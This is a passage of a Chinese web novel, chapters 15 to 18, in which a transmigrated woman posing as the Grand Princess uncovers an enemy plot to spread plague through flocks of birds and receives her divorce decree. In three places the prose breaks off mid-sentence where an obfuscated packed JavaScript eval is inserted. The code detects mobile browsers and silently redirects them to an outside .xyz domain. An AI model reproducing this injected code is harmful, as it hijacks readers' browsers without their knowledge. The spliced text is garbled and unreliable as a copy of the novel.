他垂下眼睑，平静地道：“爷爷带着我们三个走遍南北，最终在雪域终于配齐最后一方药材，解开折腾娘足足十年的碧玺之毒。” 但十年余毒的折磨，早就把身子弄得千疮百孔。 许竹影没高兴过几天，娘亲便死在对于雪域人来说微不足道的一场小寒风里。 一声冷笑融入流动的夜风。 “我娘曾经是比爷爷更为优秀的女医，青出于蓝而胜于蓝，她本有能力去救更多的人。” 可到头来，反而死在世俗所规定的，所谓男人尊严里。 那个人窝囊愚蠢，逼问之时闪闪躲躲，揭穿之后痛哭流涕，叫许竹影觉得连恨他都觉得是浪费力气。 团扇的扇尾抵在杯底。 ‘长公主’的声音从许竹影头上缓缓落下。 “讲故事可以，别把本宫的杯子摔了。” 一下就将人拉回现实。 许竹影茫然地抬头，夏荇不知道何时吃完了那点瓜子，起身站在他跟前摇扇子消食。 泪珠划过面颊。 众多碎银铃齐齐作响。 南红额饰的末端扣在麻花辫里，闪着冰冷的光。 夏荇背过身，空出来的另一只手比划动作。 好了，去看看谢二的情况吧。 残忍，可又算得上温柔。 15. 群鸟 许竹影眨眨眼，逼出眼眶里积蓄着的那点水。 夏荇收回团扇，面前竹林静默，几只不知从哪儿跑来的鸟偶尔在枝叶间窜动，闹出比风声更大的动静。 月洒碎银，照理来说应是全大恒最高贵那群人之一的‘长公主’转过身去，甚至给他留出空间，包容那点微不足道的脆弱。 许竹影站起身，装作刚才哭了的不是他一样，平静地道：“殿下可当真与传闻里的长公主大不相同。” 几番越过距离，明明自个不是很情愿，都还没恼羞成怒地指着鼻子叫他滚出去，顺带领打五十板子。 夏荇转回来指指灯笼，催促道：“许公子再不抓紧动身，本宫未尝不可动用私刑，将你抬过去。” 还总是嘴上恐吓。 解决完碧玺之毒这件要紧事，还有更为关键的重新布防。 范元安不是个傻子，刚赢下玉湖就乐得没影，屁颠颠跑到谢家来找骂，只能说明一件事—— 那个给南安提供军情图的人，一定还给了他们更多的东西作为底牌。 会是什么…… 夏荇缓缓摇着扇子。 士兵、粮草、金银…… 或是更为恐怖的火器。 到底是什么，足够在战场一锤定音…… 夏荇不断抛出假设，抓着扇骨的指节泛起白色。 她沉浸在自己的猜测中。 许竹影瞥见她前方脚下有块吸饱水的青苔，勾住夏荇腰间的玛瑙长链，默默将人往旁边带了带。 银铃没控制住平衡，骤然爆出清脆的响。 夏荇还蒙在西南的百年大计里，被火光照亮的眸子澄澈透明，迟钝地问旁人：“许公子是，又有什么故事想说？” 许竹影：“……” 我说没事你信吗。 好不容易真做件好事。 他任劳任怨地提稳手中灯笼，试图叫她看清楚脚下的情景：“无妨，只是殿下今日这身行头实在是惹眼。” 发辫里辫满玛瑙与翡翠，几片鸟语系在细彩绳上，南红欲滴，横看竖看，像只漂漂亮亮的花雀。 ‘长公主’微微挑眉，俨然是不信他能在这种时候突然说人话，谈起什么穿的戴的。 竹林里的鸟被铃声齐刷刷叫出来，闹腾得更过分了一点。 黄绿橙配色的鹦鹉飞到夏荇的肩头，挠挠爪子后开始啄一颗刚好垂在它头顶的浑黄圆珠。 鸟大爷被夏荇用手赶了几下，小黑爪子勾住隐形的衣缝，抓得更实。 许竹影从衣袖里掏出瓜子时，止不住笑道：“不妨趁还在西南，多试试这种风格，暂时不带娘娘给的金钗点翠。” 这风格给你你想不想试。 鹦鹉小心翼翼地低头咬开瓜子，尝到味道时眼睛亮了亮。 夏荇看准时机出手，将沉浸嚼瓜子的鸟大爷稳稳移到许竹影头顶。 许竹影的笑僵在脸上。 ‘长公主’夺过他手中的灯笼，举高欣赏这番白团子盖彩帽的杰作，满意道：“许公子若是喜欢，那金钗点翠改日也叫雾云翻出来，给你插上。” “殿下开心就好。”许竹影伸手扶稳鹦鹉。 夏荇扳回一城，重新沉浸回方才没想明白的问题里。 灯笼投在石板路上的影子拉得很长很长。 夏荇想东西的时候一般不怎么关注外界的变化。 她自顾自地沿着直道走，压根没发现旁边的人一步未动。 等到她不知不觉走出一段距离，留在原地的许竹影折下一片竹叶，轻声道：“可是殿下的金钗点翠只有那一枚。” 如果没记错，应该早就丢在江南了。 还是在殿下落水之后丢的，不存在什么记忆全都丢失的借口。 声音微不可查，白衣在夜风中翻起卷角。 鹦鹉展开翅膀，催促底下愣神的俩脚兽赶紧跟上。 这是为什么呢。 许竹影丢开竹叶，快步跑向前方快要看不见的一盏灯火。 “殿下。”青筋分明的手再次握上灯笼把。 既然想不明白，那就用自己的方式好好调查。 那枚出现在他兄长消失之地的金钗点翠到底是怎么回事。 到底是她伪装得太好，还是真正的凶手另有其人。 琉璃耳坠沿着惯性甩出。 鹦鹉抓稳青竹发带，嫌许竹影跑得太快，不留情地下嘴叨了他俩下。 …… “哎哎哎，不疼吗！” 谢初时瞪大眼睛，用剑把疯狂在地上敲敲敲，试图驱赶那些围在药罐旁边叨叨的鹦鹉。 这里面的药可是刚烧开！很烫的！ 这些老虎钳也真下得去嘴。 谢初时戳戳一只白毛的巨形鸟大爷，纳闷道：“你们今夜都怎么这么亢奋，平时撞见我，都恨不得绕道走。” 哪里有这样一群围上来，怎么赶都赶不走的时候。 夏荇恰好推开院门，看清她这群鸟纷飞混乱场景，摇摇扇子笑道：“木兰这儿怎么也沦陷了。” 许竹影头上蹲着的三只鹦鹉伸长脖子，冲小伙伴一同乱叫， “殿下！”谢初时平日中气十足声音在鸟鸣中彻底淹没。 她双手捂着耳朵，一字一顿冲夏荇吼：“您、刚、刚、说、了、什、么？” 这群鸟太吵了她听不见！ 而且她半个时辰前不是刚将公主送回去吗。 这俩人半夜不睡觉来这儿干嘛。 难不成来玩鸟啊。 “木兰，”谢夫人疲惫地提着另一副新配的药出来，“外头这是怎么了？” 都城虽然多鸟，但先前也没子时还如此闹腾。 她刚主持完一场西南各家名医的联合会诊，一方说用药主温慢慢治，另一方说得下点猛的和阎王抢命。 俩位快马加鞭请来的大夫掏出家传医术，跟对面吵得不可开交，话题逐渐从医德上升到祖宗。 杜雁秋拦了半天，借口出来看情况透气。 外面不过也就是一百多只老虎钳在叫。 不过就是那个姓许的面首头上肩上蹲得琳琅满目。 不过就是她精心打扮半天的殿下被鸟围圈。 其实这样还挺好看的。 哎，等等…… 殿下？ 她看向女儿：“殿下怎么还不休息？” “是寻着了可以解毒的人，这才急忙忙过来，”夏荇走上木台阶，“夫人见谅。” 到处盘旋的鸟发够疯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15360641|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，找了块地盘蹲着。 白的黄的粉的蓝的绿的毛球聚成花毯，每一团都跃跃欲试，想去扣扣夏荇头发上的装饰。 许竹影打不过，只得伸出手护住夏荇的头顶。 “真的吗！那太好了！”谢初时放下刚洗干净的另一口新锅。 她朝许竹影身后探去，看了半天也没瞧见个山羊胡老头，狐疑地又把脑袋转回来。 殿下应该不会说谎。 殿下应该也不会治病。 那这大夫…… 谢初时噌得一下凑到夏荇耳边，音量越来越小：“敢问殿下，这位能解碧玺之毒的大夫，应该不是您身边这位……” 这位不仅长得就像狐狸精，还酷爱穿白衣，一天到晚俩眼一睁就黏在您身边争宠的，面首吧。 她娘见过大世面，闻言倒是没有多惊讶。 “许……”杜雁秋念着这个姓氏，问道，“可是许杏林先生的后人？” 许竹影薅下几只扑腾扑腾翅膀，就要往夏荇身上扑的鸟：“夫人认识晚生爷爷？” “这倒不是，”杜雁秋摇摇头，“我见过你娘。” 谢夫人一手牵一个姑娘，要把她们往屋里带，躲躲身后成群结队的鸟。 她迈进门槛，口中追忆道：“当年若不是遇见木兰她爹，我估计就和你娘一起浪荡江湖去了。” 大抵是想起故人那一手高超的医术，后人哪怕依葫芦画瓢，只要当年的医方还在，儿子的命也能有个保障。 杜雁秋疲惫一晚上的脸总算有了光彩，打趣道：“她现在在哪治病救人呢？怎么这么多年都不来西南看一下我。” 今晚也是稀奇，尘封许久的伤心事拿出来，翻来覆去地说。 许竹影在室内矮凳上放好灯笼，开始思考如何组织词句，能对谢夫人的冲击少一点。 谢初时没少听娘讲这位好友的故事，挽起谢夫人的胳膊兴冲冲地提议：“叙旧的事可以等先给二哥看了再说。” 夏荇站在一旁，独自打个哈切，懒洋洋地收回将谢初时推出去的手。 也算化解风波于无形。 唯一察觉到她做了什么的人收回高举的手，意外拂过几缕散出的发丝。 许竹影被杜雁春领着走向内室，白衣擦过夏荇的裙摆，丢下句低沉的话：“殿下还真是救许某于水火。” 说完，头也不回地逮回几只趁机要逃的鸟。 几只大爷计划不成，张大嘴转而对准他一顿絮叨。 光是听语调的变化就能判断骂得绝对不简单。 “殿下坐，”谢初时熬夜熬得眼前发白，拖来俩把椅子坐下，“这毒药忒麻烦，等你房里那人诊断出来估计还要一阵子。” 夏荇看她头都撑不住还要闲聊，好笑道：“本宫房里的人？” “对啊。” 谢初时抱紧夏荇给她找过来的薄毯，迷糊道：“不是房里的，怎么可能时时刻刻都带着，那天雨夜，贺闲风忙着点兵，还挤出时间把他叫出去。” 侍卫哪里有举动这么亲密的！ “我当时看到了！贺闲风和他俩个都不打伞，就在雨里谈话……” 屋外的群鸟又开始大合唱。 “好像，手腕还被贺闲风砸到了墙上？” 16. 风起 许竹影给谢二配好药方出来，在门口捡起困得和谢初时抱团打瞌睡的夏荇。 ‘长公主’眼睛都没完全睁开，游魂似得起身。 还没看清彻底眼前情形，先一个机灵开躲，和许竹影之间可以塞下几百只吵吵闹闹的鸟。 想扶她一把的许竹影：“？” 今晚的病人不是只有谢二吗。 谢夫人眼疾手快地拉走快要滑到地上的女儿，啥都没问又退回到里屋。 鹦鹉叨叨叨地用嘴敲击窗木，颇具西南民族风格的风铃垂下长长的流苏。 “殿下这是怎么了？” 白衣客好笑地提起快要熄灭的灯笼。 夏荇按按突突跳的太阳穴。 今夜这鸟太不对劲，她方才睡得迷迷糊糊，走马观花做的梦都是一不小心掉进鹦鹉窝。 五花八门的鸟羽淹没视线，不由分说地缠入乌黑长发。 而南红一闪而过地亮。 “许竹影，”眼神终于清明下来，夏荇叫他名字，“你以后收敛点本事，别再叫旁人误会了去。” 许竹影要推门的动作僵住。 他转过身，若有若无地笑：“叫人误会不好吗？” 她是现代人思维没反应过来，这土生土长的古代人可门门清。 如果说之前还可以用想亲近她寻找兄长当借口，今晚突然爆出过往是要如何。 夏荇定定地看着他，摇头：“美人计这种东西对本宫没用。” 这世界不是只有一种关系，也没必要方方面面都和男女那档子事扯上。 “本宫不用身边带着个花枝招展的小白脸来彰显本事。” 那真的很逊。 先入为主将人划到另一个人所属物的范围里。 ‘长公主’认真说话的时候眸子不自觉眯起来。 那是个增加威严，不希望旁人因为容貌而觉得她在撒娇的潜意识动作。 好不容易被许竹影甩下的鸟大爷摇摇晃晃地跑出隔断的纱帘。 它绒毛炸成球，扑腾俩下翅膀，怒气冲冲地朝管带不管回的俩脚兽大叫。 许竹影手腕一翻，示意大爷飞上来。 “遵命，”他说到做到，当即朝旁又退了一步，“许某今后会专心给殿下卖力的。” 风铃垂链碰撞，‘叮铃——’一声，恰合时宜地卡在许竹影站定的一刻。 裙摆绣满杜鹃花的人点点头，满意地推开门，走在最前头。 许竹影不急不慢地跟着，任肩膀上的大爷一抓二抓催促。 他早年走南闯北，只是近几年兄长步步高升，才给他在京中寻了个收钱即入的书院，闲下来读了段时间书。 若要半年前跟许竹影说他会给长公主卖命，能叫熟悉许兄本性的陆淮安笑得停不下来。 但这事如今就是离谱且诡异地发生了。 遮天蔽日的竹林在夜风中摇晃新生的叶，他以侍卫的距离跟在她后头，一丝怨言都没有地走完整条长路。 边走，边在脑中回想她严肃起来时的眼睛。 既然长公主不是传闻中的蛮横娇纵、无理取闹之辈。 那她一个人布局刺杀，远走西南的这种大事，究竟是为了什么。 陆淮安派来的信鸽姗姗来迟，还没解开腿上绑着的纸，先和鹦鹉俩只鸟干了一架。 离开时忘记收的茶水还好端端地摆在石桌上，只是意外多出俩碗还冒着热气的米线。 …… “天天这么熬，真是要修仙了。” 天光大亮。 西南似乎总有种叫人忘记时辰的魔力，真等疯到夜黑下来，早就过了平时在京时上床休息的时刻。 竹叶聚成浓荫，迎着太阳的顶部连成大片大片的亮面。 “这群鸟还吵吵嚷嚷，叫人想休息都休息不好。” 空云坐在下头，手握剪刀，冲一门心思洗洗刷刷的雾月随口闲聊。 脖颈得了块小玉牌的鹦鹉缩在她手中，敢怒不敢言地瞪圆黑豆眼睛。 “别闹啊，”空云用指尖戳戳它脑袋，“昨晚要放你走你死活不走，既然要留下来就得剪羽。” 这玉还怪名贵的呢，殿下说养就给它戴了。 雾月倒掉锅中的水，汇入大理石板下引过来的山涧溪流：“它也奇怪，在同伴里头不叫，一凑到殿下这里就开始摆谱子。” “知道这里能过好日子呗。”空云剪下最后一片翠绿鸟羽，整整齐齐地码在彩陶盘中。 “话说殿下醒了没。” 空云欣赏一番，突然道：“天天鸟来鸟去得叫也不是个事，还是得给它取个名字。” 许竹影正好推开院门进来，接话道：“殿下昨夜说叫绿玉。” 许面首正式认领许门客地位，连夜从也只睡了几个时辰凑合的矮塌上滚出小院，去谢夫人给夏荇配备的下人房里落脚。 主管妈妈当时摸着胡子直呼稀奇，对于殿下的决定也不多说什么。 只是默默给许竹影塞了好几瓶宫里娘娘常用的香膏，挤眉弄眼一些宠爱还是要争的歪理。 绿玉歪歪晃晃溜达到他跟前，还没展开翅膀就被许竹影歪腰捞到肩头。 它叨叨俩下在日光下璀璨发光的琉璃耳坠，满意地停住不动。 “许公子今天不当吊死鬼了？” 雾月还抱着竹篮里的午餐纠结要不要叫夏荇起床，就听见她家殿下的声音从背后传来。 回头一瞧，又换回中原服饰的‘长公主’坐在藤椅里，似卷非卷的发丝笼括归到耳后。 腿间摊本古旧的杂书游记，不止已经偷偷醒了多久，用三片新鲜的竹叶权当书签。 “白衣穿久了，自然也会看腻。” 许竹影从袖里掏出张帖子，趁雾月还在给夏荇布餐的功夫弯腰递给她。 难得束高一次的头发滑到腰际，为夏荇挡去一小片晃眼的阳光。 “也亏驸马爷嫌殿下府上做的料子不好。” 茶汤随声音微微荡出波纹。 毕竟是长公主府，得了什么好东西自然都是紧着给殿下用，次一等的才轮得着驸马爷。 许竹影比起贺闲风只是身量更清瘦些，裁好的各类衣裳随便改俩下就能穿。 主管说放着也是放着，头脑一热就给那俩大箱全动了，数量足足够许竹影换到后年。 “这份是曹公公先派人送给殿下的拜帖，说是带了太后娘娘千叮咛万嘱咐的东西，请殿下下午千万给他开个门。” 窄袖圈出利落干净的腕线，原先空落落的银铐不翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15378988|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而飞，只留下道比周围肤色更白的空痕。 夏荇咽下一口递到嘴边的鸡汤：“成，放这儿吧。” 绿玉借机挪到石桌上头，还没偷到盘子中的玫瑰饼就被空云眼疾手快地捞回去。 “你吃这个！”鲜红的小米辣被递到鸟嘴下方。 菜份量不大但胜在种类多样，放眼望去，都是花椒和辣椒开大会。 夏荇平稳地伸出筷子，夹回来块看起来最无害的炸排骨。 一口下去，从嘴到胃都开始灼烧。 夏荇：“……” 要不还是回江南和桃姨说这活干不了。 “你们三个也坐下来，”她心如死灰，“本宫吃不完这么多。” 喜言抱起一大盆刚配好的干果，往绿玉的盆里洒了一把。 小姑娘脆生生地道：“没事的殿下我们不饿。” 谢夫人送的午餐也有她们的份，早就各自用过了。 这些都是专门给夏荇留的。 许竹影得到许可，端正地往夏荇对面一坐喝茶。 半壶茉莉下去，‘长公主’面前冒出尖尖的米饭沾满红油，也只受了点皮外伤。 许竹影感到疑惑，关切地问：“殿下，是饭菜不合胃口吗？” 那可太不合胃口了。 不合十万八千里去了。 夏荇摇摇头，硬生生将头上固定不动的珍珠花给摇得动了俩下。 本着浪费啥也不能浪费食物的原则，她麻木地往嘴中塞饭菜。 勉强还没吃几口，许竹影放下茶杯，往她手边摆了碗晾凉的白水。 “殿下，”他指指最红的那几盘，“许某还未尝过西南特色，可否将这几道菜送给我。” 夏荇就是再怎么鼓起勇气尝试，一上来也不敢碰过那几道。 许竹影自顾自地扒拉来被雾月放在一旁的篮子，勾唇浅浅地笑：“许某带回去，慢慢吃。” 夏荇目前的嗓子只够她正常地念一个字：“拿。” 再说就不是长公主的声音了。 绿玉东躲西躲欺负他飞不起的同伴，鬼鬼祟祟地走到俩人脚边。 许竹影盖好篮子盖，抬头一瞧，竹林里密密麻麻蹲满各种平时轻易见不到的鸟。 有的体型巨大，一只就几乎要将柔软的竹枝压弯成直线。 他奇怪道：“今天这鸟怎么更多了。” 就跟约好了一起出来一样。 夏荇嚼嚼排骨，在心底接话。 也是稀奇。 雾月坐在另一边等夏荇吃完，闻言看着绿玉，玩笑道：“难不成是有人把你们赶出来的不成？” 她单纯随口一提，说完又托起腮，继续欣赏她家殿下的美貌。 夏荇浑然不觉，排骨嚼到一半，突然就停下动作。 军情图、范元安、自他走后神奇冒出来的鹦鹉、背后之人给的底牌…… 各种线索在夏荇脑子疯狂旋转，逐渐引导到一个相当疯狂的结论。 林中还在高歌一曲的鹦鹉转出一个高亢的音，随即脖子一扭，直挺挺地从枝头掉下来。 鸟尸砸入竹林深厚的落叶，重重地翻出纷飞的叶浪。 “谢夫人现在在哪里，”夏荇搁下筷子，沉声道，“带本宫去见她。” 17. 和离 “什么……” 陶瓶之中插得好好的花差点被主人折断。 杜雁秋放下剪刀，凑在窗户边开大会的鸟哗啦散开，往各种没见过的新鲜事物上动嘴。 她面色凝重道：“殿下，这种事可不是开玩笑的。” 坐在长桌边的‘长公主’嗤笑一声，漫不经心地拨动腕上佛珠。 “本宫自然能对自己的话负责。” 范元安的底牌超出了她们所想的尔虞我诈范畴，说心狠手辣都不为过。 既然西南谢家不愿意配合，乖乖打开边疆大门任南安索取。 那就派出疯狂的群鸟，降落在西南所布防的军队周边。 带有病毒的鸟尸在地里腐烂、发臭，不知不觉间污染赖以生存的水源、充饥果腹的作物。 等到谢家反应过来，想要花时间精力控制瘟疫范围，也没人可以用了。 军队与百姓全部病倒死亡，南安人再来，西南便是一块资源优渥且无人看守的肥肉，随随便便即可吞下。 而再往上，通往京城的广袤平原可并无天堑庇护。 当真是副极好的算盘。 夏荇想着。 也不知那幕后之人到底是如何想出来的这么阴毒的法子。 杜雁秋展开西南舆图，仔细确认过后喃喃道：“如果真是瘟疫，府城尚还未显端倪，那坝山……” 离西南更近，是群鸟来时必经之路的坝山重兵驻守，溪水流经，怕是瘟疫开始发作的最先源头！ “多谢殿下，”她双手撑在桌面，声音略有颤抖地道，“我立即派人携药草出发，务必及时提醒侯爷。” 谢家人手分工完全依照才能。 她坐居府城，看似躲在大后方不直面参与战事，实际承担着整个西南全域的粮草医药调度，地位与谢边声平起平坐。 换句话说，她才最为清楚手中东西的数量。 如果这真是场来势汹汹的大瘟疫，疲惫无比的谢家压根没有那么多药草可以救人。 范元安他们就是算好的！哪怕谢家有人察觉到不对，要阻止也有心无力。 被佛珠圈住的手扶上她的肩头。 夏荇轻轻拍了几下，宽慰道：“现下这个时候，更需要夫人坐怀不乱，才不会给南安可乘之机。” 而且她总有预感。 背后的人应该会坐不住了。 她们会看上谢家想合作，旁人眼光没问题的自然也会打起主意。 就是这托全域下水的手段…… 实在叫人信任不太起来。 花枝从瓶中摔出，在舆图上甩开好大一片水痕。 “哎呦——”，杜雁秋急忙低头，收拾起鹦鹉闹出的祸。 她心思实在过于混乱，徒手捏起玫瑰带刺的花梗也浑然不觉，只顾用丝帕擦去扩散的泉水。 夏荇轻轻一抽，不意外地在花梗上看见丝丝的血。 她叹口气，确认周围再没什么东西可以伤着杜雁秋后绕出门。 孤零零候在外头煮药的侍女被夏荇点到，一头雾水地跑进去看情况。 屋内应该不会再闹出事了。 夏荇听着收拾的动静撩起裙摆，在药炉前的小竹凳上头坐下。 许竹影给谢二配的方子闻起来就奇苦无比，侍女方才刚好熬到收火，咕嘟咕嘟的大泡泡从排气口冒出。 她拿起落在地上的蒲扇，缓缓扇了起来。 这活不算难，就是得有耐心，夏荇一边在心里盘算待会儿与手下人见面的地点，一边查看药罐的情况。 头顶上的杉树微微跟着风摆动。 “殿下怎么一个人坐在这儿，周边的都偷懒去了没跟着吗？” 来人在她面前轻轻弯下腰，又尖又细的嗓子毫无征兆地将她从思绪里拉出。 曹公公在宫中混得不错，圆脸养得白白胖胖，本来就看不见多少的眼睛迎着日光，眯成了绣娘针脚才有的缝隙。 他拿过夏荇没怎么握紧的傻子，蹲下来扇火：“这种事情叫奴才来就行了，殿下金枝玉叶，从小到大都是咱家看着长的，哪里能干这种活。” 脖颈处上百颗珍珠所串的珠链垂入草叶。 全身行头素到还没他这一条链子贵的夏荇：“……” 曹公公谄媚地笑，半点没觉得这有什么不对，招手叫跟在后头畏畏缩缩磕头的小孩们上前来。 “既然在这儿遇见了殿下，咱家也省得跑一趟，”木盘里捧着的卷轴被毕恭毕敬地送到夏荇眼前，“这便是娘娘给殿下讨来的东西。” 卷轴上的祥云纹里绣了金线，仙鹤展翅，嘴巴里衔根断成俩半的红线。 “这……”夏荇睁大眼睛。 她好像猜到这卷轴里的内容是什么了。 曹公公笑盈盈地解开系带：“娘娘说，怨偶一对也是互相蹉跎。” 展开，大恒皇帝龙飞凤舞的字迹快要写出纸张。 “只要殿下日后健康快乐就好了。” 久居深宫的太后心满意足地送出和离书，虽生细纹却不掩美丽的眼睛注视下头的公公，轻声细语地嘱咐要带给她的话语。 这一刻无关皇家、无关世俗言论，只是简单地从母亲出发，看向自己远在千里之外的女儿。 “好，”夏荇接过那份亲飘飘的皇帝墨宝，平稳的声音略有颤动，“本宫知道了。” 卷轴在日光下晒得太久，入手就带来股温润的暖流。 她转过身，目光投向层层群山之外，正南方的人烟下刚好路过一行大雁， …… 雁声凄惨。 萧舟雪当时双腿皆断无法移动，夏荇索性将她背在肩头，俩个人互相搀扶着走。 与异世灵魂一见为故的长公主疼到抿紧嘴唇，又在对方所告诉她的设想里畅快地笑了出来。 身后就是围追阻截的山匪，个个眼毛绿光，想要将公主抓住，去和山下奉命剿匪的官兵谈条件。 “喂，夏荇，”见识到她那面皮之术的萧舟雪戳戳她的右脸，说话颠三倒四，“本宫这条命大抵是撑不了多久了，遇见你真的很开心。” 随即，用尽全身力气，把气喘吁吁的身下人往旁边的山坡下带。 竹林遮挡从天上掉下来的冬雨。 世界天旋地转，夏荇只能看清萧舟雪火红的唇。 “你那计划着实是有趣，可惜本宫没这个命带你回京。” 女子也可以抛头露面不拘束于后院，也可以出任要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15388532|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 职造福天下百姓。 “噗通——”，二人齐刷刷落入湖里。 水面雾气蒙蒙，鲜血自伤口翻涌，散成红色的莲。 夏荇最后听见萧舟雪如此道：“不如，你就顶替本宫的身份去吧。” 如此，也算你我同行一场。 …… 夏荇收起回忆，卷好和离书后不嫌麻烦，给系带打了好几个死结。 也不知道她能不能看见。 回江南的时候烧给她好了。 ‘长公主’取下盘了好几月的佛珠，套到卷轴中央。 清风吹拂，掀起她散在耳后的长发。 更远的远山之外，自西南流出的河水溪流翻山越岭，终会有一滴水路过萧舟雪所在的那潭小湖。 白色的野花漫山遍野星星点点，自春初开到夏末。 曹公公站起身跟着拍手称赞，笑得彻底没了眼睛：“殿下如此也算解脱。” 晒得与大地一个颜色的孩子得了赏赐，怯生生地退下。 “而奴才这，还有一个好消息！” 他自袖中一通翻找，翘着兰花指，递出来封红印封口的信。 朱砂刺目，圆篆排列组合，宣告来人响当当的名头。 太子萧铭之印。 夏荇疑惑：“铭儿？” 太子给她传信干什么？ “里头是特地为殿下讨的一份口谕，”曹公公凑近，神神秘秘地道，“殿下凭此物便与奴才可回京，不用再在这边关之地受苦受累了。” 照理来说，长公主听完这句，应该是立马就回院子叫人收拾东西了。 夏荇接过太子的信，看都没看，随便往身上的口袋里一丢。 跟郑重无比地抱在怀里的和离书压根不是同种态度。 等着她欣喜若狂而赏赐点什么的曹公公：“……” 曹公公：“？” 怕是他没有说清，害得殿下没理解意思。 曹公公弯下老腰，恭喜道：“殿下，您能回去了！” 您不该高兴得跳起来和老奴抱在一起痛哭这些天所受的苦吗？ “本宫听见了，”夏荇白他，“本宫又没聋。” 长公主可以动，但清风会埋在这里的夏理事万万不能动。 她走了，杜雁秋苦苦支撑的运输线路崩塌，西南会发生什么，谁都说不准。 手上的药炉已经被曹公公带来的人接手，长公主提起裙摆，哼了一声后走了。 曹公公看着她远去的背影，挠挠头。 “殿下脾气还是如此琢磨不透。” 等在院外的空云接过夏荇手上的卷轴，闻言转过头。 她耳朵极其灵光，愤愤不平地为长公主找场子道：“我们殿下脾气可好了！” 宫里对她们殿下的评价简直就是一派胡言！ 站在她肩头的绿玉翘起尾巴，跟着学舌：“可好了！可好了！” 夏荇发笑“：好了。” 风路过她的裙摆，带得一左一右的簪花蝴蝶钗颤动。 太阳前飘过团好大好厚的云。 夏荇抬起手，叫绿玉乐颠颠爬上来：“我们走吧。” 西南目前还有好多事等着夏理事去做。 18. 合作 夏荇的房里几乎不留人。 空云见她满脸疲惫地进了屋内，撸高袖子，去和雾月俩人面对面编竹筐竹盆，偶尔再给敬佩地说不出话的喜言丢个小竹蜻蜓。 长公主府在京城众家中，出名地爱好点灯点油，就为了好好地看书赏字不费眼。 到了如今，在西南一天到晚七八个时辰的溺爱下，矮桌里只简单地留了根快要燃尽的蜡烛。 桌边人朱唇轻启，将那有跟没有一样的蜡烛熄了，笑盈盈地冲夏荇打招呼：“理事，午安。” “嗯，你也安，”夏荇拿起她手边的游记，边翻边随口问道，“我们要的东西都凑齐了？” 春风会暗地里传递消息，颇爱伪造这种被世俗学子抨击为“无用之学”“俗不可耐”的山川游记。 根据面前女子的想法来说，就是我就要用他们看不起的东西，来狠狠地把他们掀翻。 “都凑齐了，理事只管去和谢夫人谈条件便是。” 女子懒洋洋地伸个懒腰，玉手掀开竹篮上用布盖着的顶。 食物的香味彻底按耐不住。 夏荇感觉自己空空荡荡的胃叫了声：“这是什么？” “这是理事那小白脸刚刚慌慌张张送来的，”女子指指一旁的纸包，“好像还有安神药，配了足足一个月的量呢。” 夏荇无奈扶额，叫她名字强调：“花荷，这话不能乱说。” 都怪许竹影长的那张脸，跟着谁都会被旁人怀疑是不是有什么肮脏交易。 花荷嘿嘿一笑：“活跃下气氛嘛，我们春风会的大家都知道，理事绝对绝对是清白的。” 糖醋排骨、竹笋敲肉汤、炒包菜。 出锅还没多久的菜冒着热气，色泽刚好不浅不过，装在柴烧陶器里，扩出圈发亮的油光。 最重要的是，通通没有辣椒！ 是非常正常的适口饭菜。 夏荇看清楚花荷端出来的那几盘东西，心底有什么东西赫然震碎。 她无意识地摸上自己的手腕，触碰到温热的皮肤才反应过来，日日默念祈求她人来世安康的佛珠已经套给那一封和离书。 “他什么时候发现的？” 夏荇蹙起眉。 没心思吃饭了，现下最值得关心的应该是这个问题。 花荷摆好碗筷，好笑地把夏荇拉下来坐：“万一人家就是观察仔细？口味的变化也会有很多缘由的啊。” 怎么可能吃不吃辣就敢断定长公主换了个芯。 夏荇还待说些什么，反驳道：“许竹影心思缜密，如果他起疑……” 花荷笑了笑没说话，夹起一筷子红彤彤油亮亮的排骨，塞进夏荇嘴里。 入口，冰糖的甜味与话梅的酸咸先从舌尖泛上。 油脂全被煸出，只剩下层又软又韧的薄膜帖在骨头侧边，毫不费力就能咬断。 嚼嚼嚼的夏荇：“唔。” 你别说，许竹影手艺还不错。 “天大地大，吃饭最大。” 花荷拔下夏荇头顶的几根发钗，又仔细端详一番，取下自己的金耳环：“我刚刚探过了，没毒的。” 况且，她觉得那个姓许的纯粹就是对她们理事上心。 这几道菜做起来可要费番功夫，道道都是江南小孩爱吃的东西，怎么挑食都挑不出错。 不是方才一回去准备，压根没法方才就能端过来。 陶碗里的饭被花荷盖出尖尖。 她换下夏荇手中已经吃空的碗，数道：“理事接下来可还有得忙活，万万得先将肚子填饱。” 精致且还带着香气的面皮摘下。 “又得安排这批东西，又得去坝山前线的。” 墙角的暗香盈盈绕绕。 